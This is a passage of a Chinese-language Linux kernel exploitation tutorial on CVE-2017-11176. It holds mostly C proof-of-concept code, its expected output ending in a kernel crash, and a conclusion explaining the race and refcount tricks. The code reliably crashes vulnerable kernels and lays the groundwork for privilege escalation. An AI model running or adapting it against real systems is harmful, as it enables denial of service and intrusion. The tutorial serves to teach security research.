uta.is_ready = false;
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = uta.sock_fd;
printf("[ ] creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror("[-] pthread_create");
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf("[+] unblocking thread has been created!\n");
printf("[ ] get ready to block\n");
if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
{
perror("[-] mq_notify");
goto fail;
}
printf("[+] mq_notify succeed\n");
return 0;
fail:
return -1;
}
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
/*
* Creates a netlink socket and fills its receive buffer.
*
* Returns the socket file descriptor or -1 on error.
*/
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10];
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf("[ ] preparing blocking netlink socket\n");
if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
perror("socket");
goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror("[-] bind");
goto fail;
}
addr.nl_pid++;
}
printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");
printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");
_close(send_fd);
printf("[+] blocking socket ready\n");
return recv_fd;
fail:
printf("[-] failed to prepare block socket\n");
return -1;
}
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
int main(void)
{
int sock_fd = -1;
int sock_fd2 = -1;
int unblock_fd = 1;
printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");
if ((sock_fd = prepare_blocking_socket()) < 0)
goto fail;
printf("[+] netlink socket created = %d\n", sock_fd);
if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
{
perror("[-] dup");
goto fail;
}
printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
// trigger the bug twice
if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd))
{
goto fail;
}
printf("[ ] ready to crash?\n");
PRESS_KEY();
// TODO: exploit
return 0;
fail:
printf("[-] exploit failed!\n");
PRESS_KEY();
return -1;
}
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
預期輸出:
[ ] -={ CVE-2017-11176 Exploit }=-
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 4 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 5 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue...
<<< KERNEL CRASH HERE >>>
從現在開始,直到exp最終完成,每次運行PoC系統都會崩潰。這很煩人,但你會習慣的??梢酝ㄟ^禁止不必要的服務(例如圖形界面等)來加快啟動時間。記得最后重新啟用這些服務,以匹配你的“真正”目標(他們也確實對內核有影響)。
結論
本文介紹了調度器子系統,任務狀態以及如何通過等待隊列在正在運行/等待狀態之間轉換。理解這部分有助于喚醒主線并贏得競態條件。
通過close()和dup()系統調用,使第二次調用fget()返回NULL,這是觸發漏洞所必需的。最后,研究了如何使netlink_attachskb()返回1。
所有這些組合起來成了最終的PoC,可以在不使用System Tap的情況下可靠地觸發漏洞并使內核崩潰。
接下來的文章將討論一個重要的話題:釋放后重用漏洞的利用。將闡述slab分配器的基礎知識,類型混淆,重新分配以及如何通過它來獲得任意調用。將公開一些有助于構建和調試漏洞的新工具。最后,我們會在合適的時候讓內核崩潰。
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php实现文本替换,php 如何实现文字
- 下一篇: 人类跌落梦境显示无法连接服务器,人类跌落